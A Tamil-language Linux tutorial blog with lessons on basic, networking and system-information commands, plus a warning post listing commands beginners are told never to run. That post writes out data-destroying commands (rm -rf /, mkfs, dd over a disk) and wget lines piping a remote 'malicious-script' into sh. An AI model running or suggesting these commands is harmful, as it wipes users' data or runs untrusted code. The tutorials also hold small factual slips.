Pages

Showing posts with label பாடம். Show all posts
Showing posts with label பாடம். Show all posts

Monday, August 23, 2010

லினக்ஸில் பயன்படுத்தக்கூடாத command

நீங்கள் லினக்ஸில் உள்ள command நன்றாக தெரிந்தாலும் ஒரு சில விபரீத வேலைச் செய்யும் நிறைய command உள்ளது அந்த command னை முழுமையாக தெரிந்துக்கொண்டால் தான் நாம் எந்த ஒரு தவறு செய்தாலும் அதனை சரி செய்ய முடியும். சரி இந்த பதிவில் வினோத command னை பார்போம். இந்த பதிவை எழுதக் காரணம் எனக்கு ஏற்பட்ட நிகழ்வு தங்களுக்கு ஏற்பட வேண்டாம் என்ற ஒரு நோக்கத்தில் தான்,பின்வரும் command னை ubuntu நியங்குதளத்தில் பயன்படுத்தி பார்க்க வேண்டாம்

இந்த command னை முழுமையாக லினக்ஸ் command பற்றி தெரியாதவர்கள் பயன்படுத்த வேண்டாம்

Example:-

sudo rm -rf / (will delete all your files on your system) - required administrator rights!

sudo rm -rf . (will delete the current directory your in) - required administrator rights!

sudo rm -rf * (will delete all the files in the current folder) - required administrator rights!

rm -rf * or rm -rf *.* ( will delete all the files in the current folder) - No administrator rights needed!

rm -rf ~/ & ( will destroy your home directory) - No administrator rights needed.

இந்த command hard disk ல் உள்ள data வினை அனைத்தயும் நீக்கி விடும்.

Example:-

sudo mkfs (will format your hard drive) - required administrator rights!

sudo mkfs.ext3 ( will format your hard drive) - required administrator rights!

sudo mkfs.bfs ( will format your hard drive) - required administrator rights!

sudo mkfs.cramfs ( will format your hard drive) - No administrator rights needed!

sudo mkfs.ext2 (will format your hard drive) - required administrator rights!

sudo mkfs.minix (will format your hard drive) - required administrator rights!

sudo mkfs.msdos (will format your hard drive) - required administrator rights!

sudo mkfs.reiserfs (will format your hard drive) - required administrator rights!

sudo mkfs.vfat (will format your hard drive) - required administrator rights!


இந்த dd command மிகவும் அபாயக்கரமான command,இதனை பயன்படுத்தும் முன் ஒரு முறை யோசிக்க வேண்டும்.


sudo dd if=/dev/zero of=/dev/hda (MOST DANGEROUS COMMAND! It will zero out the whole primary IDE hard drive) ( required administrator rights)

sudo dd if=/dev/hda of=/dev/hdb (Needs administrator rights)

sudo dd if=something of=/dev/hda (Needs administrator rights)

shellscript இதனைக் கொண்டு என்ன வேண்டுமானாலும் செய்ய முடியும் லினக்ஸ் கணினியை.நீங்கள் எந்த ஒரு website ல்லிருந்து script program னை run செய்யும் போது கவனமாக run செய்ய வேண்டும்.shell script னை wordpad ல் open செய்து அதில் உள்ள command னை தெரிந்துக்கொள்ள வேண்டும்.

CODE :
wget http://my_site/my_file
sh ./some_file

Example :

wget http://ceattingal.ac.in/malicious-script
sh ./malicious-script

or

wget http://my_site/my_file -O- | sh

Example :

wget http://ihrd.org/malicious-script -O- | sh

Thursday, July 15, 2010

பாடம் 4 : லினக்ஸ் system information command

இந்த பாடத்தில் லினக்ஸ் system information களை பார்க்க உதவும் command .

uname

இந்த command kernel version னை தெரிந்துகொள்ள உதவும்

உதாரணம்:-

chandru@chandru-laptop:~$ uname -a
Linux chandru-laptop 2.6.32-21-generic #32-Ubuntu SMP Fri Apr 16 08:10:02 UTC 2010 i686 GNU/Linux

head -n1 /etc/issue

இந்த command version னை தெரிந்துகொள்ள உதவும்

உதாரணம்:-
chandru@chandru-laptop:~$ head -n1 /etc/issue
Ubuntu 10.04 LTS \n \l

cat /proc/partitions

இந்த command system இன் partition பற்றிய தகவலை தெரிவிக்கும்.

உதாரணம்:-
chandru@chandru-laptop:~$ cat /proc/partitions
major minor #blocks name

251 0 892416 ramzswap0
8 0 312571224 sda
8 1 14718976 sda1
8 2 102400 sda2
8 3 149450072 sda3
8 4 1 sda4
8 5 61869056 sda5
8 6 74137600 sda6
8 7 12283904 sda7

grep MemTotal /proc/meminfo

இந்த command total memory space னை தெரிந்துகொள்ள உதவும்.

உதாரணம்:-
chandru@chandru-laptop:~$ grep MemTotal /proc/meminfo
MemTotal: 1784836 kB

lspci

இந்த command இது அணைத்து pci inforamtion களை திரையில் காண்பிக்கும்.

உதாரணம்:-
chandru@chandru-laptop:~$ lspci -tv
-+-[0000:3f]-+-00.0 Intel Corporation Core Processor QuickPath Architecture Generic Non-core Registers
| +-00.1 Intel Corporation Core Processor QuickPath Architecture System Address Decoder
| +-02.0 Intel Corporation Core Processor QPI Link 0
| +-02.1 Intel Corporation Core Processor QPI Physical 0
| +-02.2 Intel Corporation Core Processor Reserved
| \-02.3 Intel Corporation Core Processor Reserved
\-[0000:00]-+-00.0 Intel Corporation Core Processor DRAM Controller
+-02.0 Intel Corporation Core Processor Integrated Graphics Controller
+-16.0 Intel Corporation 5 Series/3400 Series Chipset HECI Controller
+-1a.0 Intel Corporation 5 Series/3400 Series Chipset USB2 Enhanced Host Controller
+-1b.0 Intel Corporation 5 Series/3400 Series Chipset High Definition Audio
+-1c.0-[0000:02]----00.0 Atheros Communications Inc. AR9285 Wireless Network Adapter (PCI-Express)
+-1c.1-[0000:03]--+-00.0 Ricoh Co Ltd Device e822
| +-00.1 Ricoh Co Ltd Device e230
| \-00.4 Ricoh Co Ltd Device e822
+-1c.2-[0000:04]----00.0 Marvell Technology Group Ltd. Device 4381
+-1c.5-[0000:05-0c]--
+-1d.0 Intel Corporation 5 Series/3400 Series Chipset USB2 Enhanced Host Controller
+-1e.0-[0000:0d]--
+-1f.0 Intel Corporation Mobile 5 Series Chipset LPC Interface Controller
+-1f.2 Intel Corporation 5 Series/3400 Series Chipset 4 port SATA AHCI Controller
+-1f.3 Intel Corporation 5 Series/3400 Series Chipset SMBus Controller
\-1f.6 Intel Corporation 5 Series/3400 Series Chipset Thermal Subsystem

lsusb

இந்த command system இல் உள்ள அனைத்து usb port களையும் திரையில் காண்பிக்கும்.

உதாரணம்:-
chandru@chandru-laptop:~$ lsusb
Bus 002 Device 005: ID 15d9:0a4c Dexon
Bus 002 Device 004: ID 0fce:d039 Sony Ericsson Mobile Communications AB
Bus 002 Device 002: ID 8087:0020
Bus 002 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
Bus 001 Device 003: ID 064e:a213 Suyin Corp.
Bus 001 Device 002: ID 8087:0020
Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub

grep -F capacity: /proc/acpi/battery/BAT0/info

இந்த command லேப்டாப் battery இன் நிலையை காண உதவும்.

உதாரணம்:-
chandru@chandru-laptop:~$ grep -F capacity: /proc/acpi/battery/BAT0/info
design capacity: 42180 mWh
last full capacity: 40620 mWh
குறிப்பு:-
இந்த பதிப்பில் உள்ள command தங்களுக்கு பயன்னுள்ளதாக அமையும் என நம்புகின்றேன்.

பாடம் 3 : லினக்ஸ் networking command

இந்த பாடத்தில் சில networking command னை பற்றி பார்க்க போறோம்.

ethtool etho


இந்த command eithernet interface இன் status நை தெரிந்துகொள்ள உதவுகின்றது

உதாரணம்:-
chandru@chandru-laptop:~$ ethtool

iwconfig eth1


இந்த command wireless status னை தெரிந்துகொள்ள உதவும்

உதாரணம்:-

chandru@chandru-laptop:~$ iwconfig eth1

iwlist scan

இந்த command wireless range னை தெரிந்து கொள்ள உதவும்

உதாரணம்:-

chandru@chandru-laptop:~$ iwconfig eth1
eth1 No such device

iwlist scan

இந்த command network interface னை list out பண்ணி காட்டும்

உதாரணம்:-

chandru@chandru-laptop:~$ iwlist scan
lo Interface doesn't support scanning.

eth0 Interface doesn't support scanning.

wlan0 Failed to read scan data : Network is down

usb0 Interface doesn't support scanning.

ip link show

இந்த command network interface னை தெரிந்துக்கொள்ள உதவும்.

உதாரணம் : -

chandru@chandru-laptop:~$ ip link show
1: lo: mtu 16436 qdisc noqueue state UNKNOWN
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
2: eth0: mtu 1500 qdisc pfifo_fast state DOWN qlen 1000
link/ether 54:42:49:0d:76:7a brd ff:ff:ff:ff:ff:ff
3: wlan0: mtu 1500 qdisc noop state DOWN qlen 1000
link/ether 78:dd:08:c6:96:a9 brd ff:ff:ff:ff:ff:ff
5: usb0: mtu 1500 qdisc pfifo_fast state UP qlen 1000
link/ether 02:80:37:0a:03:00 brd ff:ff:ff:ff:ff:ff

ip addr show

இந்த command ip address interface னை தெரிந்துக்கொள்ள உதவும்.

உதாரணம்:-
chandru@chandru-laptop:~$ ip addr show
1: lo: mtu 16436 qdisc noqueue state UNKNOWN
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: mtu 1500 qdisc pfifo_fast state DOWN qlen 1000
link/ether 54:42:49:0d:76:7a brd ff:ff:ff:ff:ff:ff
3: wlan0: mtu 1500 qdisc noop state DOWN qlen 1000
link/ether 78:dd:08:c6:96:a9 brd ff:ff:ff:ff:ff:ff
5: usb0: mtu 1500 qdisc pfifo_fast state UP qlen 1000
link/ether 02:80:37:0a:03:00 brd ff:ff:ff:ff:ff:ff
inet 175.40.19.190/30 brd 175.40.19.191 scope global usb0
inet6 fe80::80:37ff:fe0a:300/64 scope link
valid_lft forever preferred_lft forever

ip route show

இந்த command routing table னை திரையில் காண்பிக்கும்.

உதாரணம் :-
chandru@chandru-laptop:~$ ip route show
175.40.19.188/30 dev usb0 proto kernel scope link src 175.40.19.190 metric 1
169.254.0.0/16 dev usb0 scope link metric 1000
default via 175.40.19.189 dev usb0 proto static

hostname -i

இந்த command hostname இன் local ip adddress னை திரையில் காண்பிக்கும்.

உதாரணம்:-
chandru@chandru-laptop:~$ hostname -i
127.0.1.1

netstat -tupl

இந்த command கணினியில் உள்ள அணைத்து இன்டர்நெட் service னை தெரிவிக்கும்.

உதாரணம்:-
chandru@chandru-laptop:~$ netstat -tupl
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 localhost:ipp *:* LISTEN -
tcp6 0 0 localhost:ipp [::]:* LISTEN -
udp 0 0 *:bootpc *:* -
udp 0 0 *:mdns *:* -
udp 0 0 *:49055 *:*

netstat -tup

இந்த command நிலுவையில் உள்ள connection திரையில் காண்பிக்கும்.

உதாரணம்:-
chandru@chandru-laptop:~$ netstat -tup
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (w/o servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 1 0 chandru-laptop.lo:42410 WHOIS.ANYCAST-FO.:whois CLOSE_WAIT 25263/whois
tcp 0 0 chandru-laptop.lo:43453 lxer.com:www TIME_WAIT -
tcp 0 0 chandru-laptop.lo:33483 209.85.132.104:www ESTABLISHED 24703/firefox-bin
tcp 0 0 chandru-laptop.lo:43976 209.85.132.118:www ESTABLISHED 3826/yarssr
tcp 0 0 chandru-laptop.lo:33377 tx-in-f121.1e100.ne:www ESTABLISHED 3826/yarssr
tcp 0 0 chandru-laptop.lo:43975 209.85.132.118:www ESTABLISHED 3826/yarssr
tcp 4036 0 chandru-laptop.lo:53241 WHOIS.ANYCAST-FO.:whois CLOSE_WAIT 25268/whois

Thursday, July 8, 2010

பாடம் 2 : அடிப்படை கட்டளைகள்....

இந்த பாடத்தில் லினக்சில் பயன்படுத்தும் கட்டளைகளை பார்க்க போகின்றோம்

mkdir -இந்த கட்டளை புதிய directory னை உருவாக்க உதவுகின்றது

உதாரணம்:-
chandru@chandru-laptop:~mkdir <புதிய directory ன் பெயர் >
chandru@chandru-laptop:~$ mkdir tamillinux
chandru@chandru-laptop:~$

cd -இந்த கட்டளை ஒரு directory இல் இருந்து புதிய directory க்கு மாற உதவுகின்றது

உதாரணம்:-
chandru@chandru-laptop:~ cd <நீங்கள் மாற போகும் directory ன் பெயர் >
chandru@chandru-laptop:~cd ~
இந்த கட்டளை home directory க்கு தங்களை மாற்றும்

vim -இந்த கட்டளை புதிய file னை உருவாக்க உதவும்

உதாரணம் :-
chandru@chandru-laptop:~vim <நீங்கள் உருவாக்கபோகும் file ன் பெயர் >

குறிப்பு :-

நீங்கள் இந்த command னை தட்டச்சு செய்த பின்னர் ஒரு editor ஓபன் ஆகும் அதில் நீங்கள் உருவாக்கும் file னை எழுதிய பின்னர் (ESc +: +wq )என்ற key களை அழுத்த வேண்டும் அப்பொழுதான் தங்களின் file save ஆகும்.

ls -இந்த command தங்களின் லினக்ஸ் கணினில் உள்ள அணைத்து பிளே மட்ட்ரும்டிறேக்டோரி களை திரையில் காண்பிக்கும்

உதாரணம்:-
chandru@chandru-laptop:~ls -A
.AbiSuite
.aptoncd
.bash_history
.bash_logout
.bashrc
.cache
.clamtk
.config
.conkyrc

இது எனது கணினியில் மறைந்துள்ள file மற்றும் directory களை திரையில் காண்பிக்கின்றது,இது போல நிறைய option கல் உள்ளது இந்த command னை தெளிவாக தெரிந்து கொள்ள man ls எனத் டெர்மினல் இல் தட்டச்சு செய்க

touch -இது பல empty file களை ஒரே நேரத்தில் உருவாக்க உதவுகின்றது.

உதாரணம்:-
chandru@chandru-laptop:~$ touch fosstamil1 fosstamil2 fosstamil3

cp -இந்த கட்டளை தங்களின் file களை வேறு file அல்லது directory க்கு copy செய்கின்றது

உதாரணம்:-
chandru@chandru-laptop:~$ cp <எங்கிருந்து ><எதற்கு > தங்களின் file அல்லது directory இன் பெயரை குறிபிட வேண்டும்.
chandru@chandru-laptop:~$ touch file1 file2
chandru@chandru-laptop:~$ cp file2 file

mv -இந்த கட்டளை file மற்றும் directory னை move செய்கின்றது

உதாரணம்:-
chandru@chandru-laptop:~$ mv <எங்கிருந்து ><எதற்கு >தங்களின் file அல்லது directory இன் பெயரை குறிபிட வேண்டும்.
chandru@chandru-laptop:~$ touch file1 file2
chandru@chandru-laptop:~$ mv file2 file

cat -இந்த command teriminal இல் ஒரு புதிய file னை உருவாக்க உதவுகின்றது

உதாரணம்:-
chandru@chandru-laptop:~$ cat > <தங்களின் file ன் பெயர் >
chandru@chandru-laptop:~$ cat >fosstamil
wellcome back fosstamil

clear -இது தங்களின் terminal இல் உள்ள எழுத்துகளை clear செய்கின்றது

உதாரணம்:-
chandru@chandru-laptop:~$ clear

date -இது கணினியின் தேதி மற்றும் நேரத்தை தெரிவிக்கிறது

உதாரணம்:-
chandru@chandru-laptop:~$ date
chandru@chandru-laptop:~$ date
Thu Jul 8 20:09:20 IST 2010

rm -இது file மற்றும் directory னை நீக்க உதவுகின்றது

உதாரணம்:-
chandru@chandru-laptop:~$ rm <நீக்க வேண்டியி file மற்றும் directory இன் பெயர் >
chandru@chandru-laptop:~$ rm tamillinux
chandru@chandru-laptop:~$

wc -இது file இல் உள்ள மொத்த எழுத்துகள் மற்றும் வரிகளை திரையில் காண்பிக்கும்

உதாரணம்:-
chandru@chandru-laptop:~$ wc fosstamil1
1 4 27 fosstamil1
chandru@chandru-laptop:~$

gzip -இது file மற்றும் directory னை சுருக்க உதவுகிறது

உதாரணம்:-
chandru@chandru-laptop:~$ gzip -v file1
file1: 0.0% -- replaced with file1.gz

குறிப்பு :-
இதில் உள்ள -v என்ற option நாம் எந்த வேலையை செய்தோம் என்பதை திரையில் தெரிவிக்க உதவுகிறது

unzip -இது zip செய்த file மற்றும் driectory னை விரிக்க உதவுகிறது

உதாரணம்:-
chandru@chandru-laptop:~$ unzip -v file1
file1: 0.0% -- replaced with file1

history -இது நாம் பயன்படுத்திய command களை திரையில் தோன்ற செய்ய உதவுகிறது.

உதாரணம்:-
chandru@chandru-laptop:~$ history
1 g++
2 javac
3 java
4 ffmpeg
5 apt-get install linux-backports-modules-alsa-2.6.31-20-generic
6 su
7 sudo login root
8 sudo passwd root
9 gedit /etc/apt/sources.list
10 apt-get update
11 sudo -i
12 apt-get update
13 sudo -i
14 cat /proc/asound/version
ஏறக்...,
இது நான் எனது கணினியில் பயன்படுத்திய கட்டளைகள்.......

whereis -இது file மற்றும் directory எங்குள்ளது என்பதை காண உதவுகிறது மேலும் கட்டளைகள் இருக்கும் directory னை தெரிந்து கொள்ளவும் உதவும்.

உதாரணம்:-
chandru@chandru-laptop:~/Desktop$ whereis fosstamil1
fosstamil1:
chandru@chandru-laptop:~/Desktop$ whereis ls
ls: /bin/ls /usr/share/man/man1/ls.1.gz
chandru@chandru-laptop:~/Desktop$

find -இது file மற்றும் directory இருக்கின்றதா என தெரிந்து கொள்ள உதவும்.

உதாரணம்:-
chandru@chandru-laptop:~$ find fosstamil
fosstamil

tree -இது file மாற்றும் directory இன் மரகிளை வடிவத்தினை ஏற்படுத்தும் மேலும் மொத்த directory மற்றும் file களின் அளவினை திரையிடும்

உதாரணம்:-
chandru@chandru-laptop:~$ tree
`-- runtime.htm
|-- Documents
| |-- dd.odt
| |-- mysitelink.odt
| `-- oss i unit.odt
|-- Downloads
| |-- 10.1.1.14.4805.pdf
| |-- 1124597b.pdf
| |-- 1.1C.linux-Basiccommand.pdf
| |-- 8051_Micro_controller.pdf
| |-- 80C51_FAM_ARCH_1.pdf
| |-- arm_inst.pdf
| |-- ARM_Processors.pdf
| |-- Browse
| | |-- 20-Optimization.pdf
| | |-- 426-10.pdf
| | |-- cheatsheet.pdf
| | |-- favicon.ico
| | |-- ieee_linux.ppt
| | |-- install.pdf.en
| | |-- linuxCheatSheet0.3.pdf
| | |-- NHMWriter-User-Manual.pdf
| | |-- Smash Template (Blogger Versions)
| | | |-- Images
| | | | |-- avatar.png
| | | | |-- bulletoff.png
| | | | |-- cats-hover-left.png
| | | | |-- cats-hover-right.png
| | | | |-- comment_icn.png
| | | | |-- contentbg.png
| | | | |-- contentbot.png
| | | | |-- contenttop.png
| | | | |-- def-thumb.png
.
.
.
etc
| `-- showthread.php.html
`-- Videos
`-- Webcam

48 directories, 654 files
இது எனது கணினியில் உள்ள மொத்த file மற்றும் directory

man -இது நாமக்கு ஏதேனும் சந்தேங்கள் மற்றும் கட்டளைகள் பயன்படுத்தும் முறைகள் அதன் option களை தெரிந்துகொள்ள உதவுகின்றது.

உதாரணம்:-
chandru@chandru-laptop:~$ man ls

இவ்வாறு திரையில் தோன்றும்
NAME
ls - list directory contents

SYNOPSIS
ls [OPTION]... [FILE]...

DESCRIPTION
List information about the FILEs (the current directory by
default). Sort entries alphabetically if none of -cftuvSUX nor
--sort.

Mandatory arguments to long options are mandatory for short
options too.

-a, --all
do not ignore entries starting with .

-A, --almost-all
do not list implied . and ..

பின்னர் வெளியே வர ctrl +z தட்டச்சு செய்ய வேண்டும்.

ps - இது லினக்ஸ் கணினியில் run ஆகும் அணைத்து Application tools களின் Id எண்ணை தெரிந்துகொள்ள உதவும்

உதாரணம்:-
chandru@chandru-laptop:~$ ps -A
PID TTY TIME CMD
1 ? 00:00:00 init
2 ? 00:00:00 kthreadd
3 ? 00:00:00 migration/0
4 ? 00:00:00 ksoftirqd/0
5 ? 00:00:00 watchdog/0
6 ? 00:00:00 migration/1
7 ? 00:00:00 ksoftirqd/1
8 ? 00:00:00 watchdog/1
9 ? 00:00:00 migration/2
10 ? 00:00:00 ksoftirqd/2
11 ? 00:00:00 watchdog/2
12 ? 00:00:00 migration/3
13 ? 00:00:00 ksoftirqd/3
14 ? 00:00:00 watchdog/3
15 ? 00:00:00 events/0
16 ? 00:00:00 events/1
17 ? 00:00:00 events/2

kill - application மற்றும் tools களின் வேலையை நிறுத்த உதவுகின்றது.

உதாரணம்:-

chandru@chandru-laptop:~$ kill
குறிப்பு:-
pid என்ற இடத்தில் எந்த application மற்றும் டூல்ஸ் களின் வேலையை நிறுத்த வேண்டுமோ அதன் பிட் னை தரவேண்டும் pid னை காண ps -A
என்ற கட்டளை உதவுகின்றது



குறிப்பு :-
படங்களுடன் விளக்கம் தர எனக்கு போதிய நேரம் இல்லை அதனால் வாசகர்கள் அதனை பொருபடுத்த வேண்டாம் நன்றி!!!!!



Tuesday, July 6, 2010

பாடம் 1 :அடிப்படை லினக்ஸ் கட்டளைகள்

இந்த இடுகையில் இருந்து லினக்ஸ் command களின் பாடம் துவங்கியுள்ளது இவ்வாறு துவங்க காரணம்? என்ன வென்றால் சில வாசர்கள் லினக்ஸ் command னை கற்றுகொள்வது மிகவும் கடினம் என்று மறுமொழியை தந்துள்ளனர் அதை கருத்தில் கொண்டே இந்த பாட பகுதி எழுத ஆரம்பித்துலேன்,windows லும் சரி linux லும் சரி அடிப்படை கட்டளைகள் உள்ளது விண்டோஸ் பயன்படுத்தும் கட்டளைகளை போல தான் லினக்ஸ் கட்டளைகளும் என்ன புதிதாக லினக்ஸ் உள்ளது என்றல் command களுடன் option கல் அதிகமாக பயன்படுத்தபடுகின்றது. லினக்ஸ் command களை டூல்கள் என்றுதான் கூறுவார்கள் லினக்ஸ் command கள் பயன்படுத்தபடும் இடத்தை பொருத்து பல பிரிவாக பிரித்துள்ளனர் அவை பின்வரும்மாறு.

* Basic Linux commands
* Moving, copying, deleting & viewing files
* Finding files and text within files
* Starting & Stopping
* Accessing & mounting file systems
* Installing software for Linux
* User Administration
* X Window System
* File permissions
* Printing
* Installing software for Linux

ஒவ்வொரு பாடத்தில் ஒரு command மற்றும் அதன் option களை எடுத்துகாட்டுடன் பார்போம் நன்றி!!!!